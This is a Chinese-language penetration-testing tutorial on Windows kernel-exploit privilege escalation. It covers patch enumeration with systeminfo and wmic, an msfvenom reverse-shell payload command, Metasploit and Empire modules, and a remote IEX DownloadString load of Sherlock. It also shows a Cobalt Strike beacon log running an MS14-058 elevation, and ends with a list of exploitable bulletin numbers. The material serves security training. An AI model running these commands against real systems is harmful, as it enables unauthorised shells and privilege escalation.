文章前言
在後滲透測試階段,權限提升是一個繞不開的話題,其中"系統內核溢出提權"因其利用便捷 成為了最為常用的方法,在使用該方法提權時我們只需要去查看目標系統中打了那些系統補 丁,之後去找補丁的"互補"補丁,並利用對應的提權類的漏洞實現權限提升,本篇文章主要 圍繞"系統內核溢出提權"的一些方法、思路進行簡易介紹~
權限查看
在獲取到目標系統的shell後,我們需要先確認以下當前用戶以及用戶權限,這一點可以通過 在shell中輸入"whoami"以及"whoami /groups"來確定:
從上面的顯示結果可以看到當前用戶為"winop8vb0nlure\al1ex",權限為"Mandatory Label\Medium Mandatory Level",而這裡的"Mandatory Label\Medium Mandatory Level"是 一個標準的普通用戶權限,而我們再提權階段要做得就是將此處的"Medium Mandatory Level"提升為"High Mandatory Level"。
補丁查詢
利用系統溢出漏洞進行提權的關鍵是通過查看系統的補丁信息來找尋缺失的、可以利用來提 權的補丁進行提權,下面介紹幾種常見的補丁查詢思路與方法
系統命令查看
在Windows作業系統中我們可以通過執行systeminfo來查看目標機器上安裝的補丁信息:
從上圖可以看到這裡安裝了三個補丁:
[01]: KB2534111
[02]: KB2999226
[03]: KB976902
同時我們也可以通過WMIC來快速查看當前系統安裝的補丁信息:
wmic qfe get Caption,Description,HotFixID,InstalledOn如果想要查詢系統是否安裝某一個特定的補丁,可以通過以下命令進行簡易查詢:
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB2534111"既然已經確定了當前系統的補丁信息,那麼後續如何利用呢?當然是去查找缺失的、可以利 用的補丁了!但是怎麼找呢?不可能在茫茫大海中找吧?當然不是,這裡推薦一個輔助網 站:https://bugs.hacking8.com/tiquan/
我們可以在"補丁號"選項框中輸入當前系統的補丁信息,之後進行查詢來獲取當前系統的缺 失的、可以利用的補丁信息,這裡以上面查詢的補丁信息為例:
之後可以根據補丁來推薦相關的漏洞利用EXP,不過在使用EXP時還需要主要影響的作業系統:
關於提權類的EXP,這裡推薦一個項目:
該項目源自SecWiki維護的Windowskernelexploit,但是由於原作者不再更新與維護所以後 期由筆者重新進行構建維護,同時也涵蓋了Bypass UAC系列,目前還在不斷的更新與完善 中,同時該項目也主要用於收集網絡上公開的各大有價值的漏洞EXP/POC~
MSF框架查看
MSF框架中自帶提權輔助功能模塊——post/windows/gather/enum_pathes,該模塊會根據 漏洞編號快速查找目標系統中的補丁信息,下面以目標主機為例做一個簡單的演示:
首先,我們需要獲取目標主機的一個Shell,這裡我們再測試環境中直接通過MSFvenom來 生成Payload:
msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 ‐f exe > shell.exe在MSF中設置監聽:
目標主機中執行EXE
成功返回會話:
在Meterpreter中執行如下命令即可查看系統補丁信息(老版本的會給出可用的EXP, MSF5好像不提供了):
run post/windows/gather/enum_patches於此同時,我們也可以通過執行以下命令來查看目標系統可用的漏洞,之後探尋提權EXP:
run post/multi/recon/local_exploit_suggesterEmpire內置模塊
Empire框架也提供了關於內核溢出漏洞提權的漏洞利用方法,下面進行簡單演示:
usemodule privesc/powerup/allchecks execute
PS:總體來看效果不是很理想,不如MSF~
PowerShell腳本
Sherlock(https://github.com/rastamouse/Sherlock)
是一個在Windows下用於本地提權的 PowerShell腳本,目前包含了以下漏洞:
MS10015 : User Mode to Ring (KiTrap0D)
MS10092 : Task Scheduler
MS13053 : NTUserMessageCall Win32k Kernel Pool Overflow
MS13081 : TrackPopupMenuEx Win32k NULL Page
MS14058 : TrackPopupMenu Win32k Null Pointer Dereference
MS15051 : ClientCopyImage Win32k
MS15078 : Font Driver Buffer Overflow
MS16016 : 'mrxdav.sys' WebDAV
MS16032 : Secondary Logon Handle
MS16034 : Windows KernelMode Drivers EoP
MS16135 : Win32k Elevation of Privilege
CVE20177199 : Nessus Agent 6.6.2 6.10.3 Priv Esc
該工具的利用也是較為簡單,首先下載項目到本地,之後再終端調用Sherlock(獲取 webshell的主機中直接上傳即可):
Import‐Module .\Sherlock.ps1
當然也可以遠程加載:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')之後執行以下命令來列舉當前系統中所有可利用的漏洞:
當然你也可以搜索某一個特定漏洞,例如:
根據Sherlock的說明目前CS已經可以實現" 導入模塊——>查詢單一漏洞——>直接提權 "的 一套流程了,下面是Github中的實例:
beacon> getuid[*] Tasked beacon to get userid[+] host called home, sent: 20 bytes 4 [*] You are Win7‐x64\Rasta
beacon> powershell‐import C:\Users\Rasta\Desktop\Sherlock.ps1 [*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1 [+] host called home, sent: 2960 bytes beacon> powershell Find‐MS14058 [*] Tasked beacon to run: Find‐MS14058 [+] host called home, sent: 20 bytes [+] received output: Title : TrackPopupMenu Win32k Null Pointer Dereference MSBulletin : MS14‐058 CVEID : 2014‐4113 Link : https://www.exploit‐db.com/exploits/35101/ VulnStatus : Appears Vulnerable beacon> elevate ms14‐058 smb [*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:[+] host called home, sent: 105015 bytes [+] received output: [*] Getting Windows version... [*] Solving symbols... [*] Requesting Kernel loaded modules... [*] pZwQuerySystemInformation required length 51216 [*] Parsing SYSTEM_INFO... [*] 173 Kernel modules found [*] Checking module \SystemRoot\system32\ntoskrnl.exe [*] Good! nt found as ntoskrnl.exe at 0x0264f000 [*] ntoskrnl.exe loaded in userspace at: 40000000 [*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC [*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0 [*] Registering class... [*] Creating window... [*] Allocating null page... [*] Getting PtiCurrent... [*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0PS:關於該Powershell的利用還有很多單一漏洞的查詢,讀者可以根據源碼進行分析~
Windows Exploit Suggester
工具介紹
WindowsExploitSuggester(https://github.com/GDSSecurity/WindowsExploitSuggester ) 是受Linux_Exploit_Suggester的啟發而開發的一款提權輔助工具,它是用python開發而 成,運行環境是python3.3及以上版本,且必須安裝xlrd,其主要功能是通過比對systeminfo 生成的文件,從而發現系統是否存在未修復漏洞。
工具原理
WindowsExploitSuggester通過下載微軟公開漏洞庫到本地「生成日期+mssb.xls」文件,然 後根據作業系統版本,跟systeminfo生成的文件進行比對。微軟公開漏洞庫下載地 址:http://www.microsoft.com/engb/download/confirmation.aspx?id=36982 。同時此工具 還會告知用戶針對於此漏洞是否有公開的exp和可用的Metasploit模塊。
工具安裝
安裝依賴xlrd:
下載WindowsExploitSuggester項目到本地:
更新漏洞庫
之後執行以下命令,自動從微軟官網下載安全公告資料庫,下載的文件會自動保存在當前目錄下:
./windows‐exploit‐suggester.py ‐‐update
獲取系統信息
之後在目標系統中獲取systeminfo信息並將其保存到一個txt文件夾中:
系統漏洞檢索
之後將目標系統中的sysinfo.txt文件複製出來,到安裝有WindowsExploitSuggester的主機 上去執行如下命令,查詢系統中存在的可用漏洞信息,這裡的參數d為指定漏洞庫,也就是 之前跟新漏洞庫後的xlsx文件:
./windows‐exploit‐suggester.py ‐d 2020‐09‐09‐mssb.xls ‐i sysinfo.txt
總體上效果還不錯,挺讓人滿意的,不過該工具也有一個缺點——更新資料庫後下載的數據 庫最新的2017年的,有點局限。
補丁列表
最後給出一個常用的補丁列表信息,可能數據有點成舊哈~
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)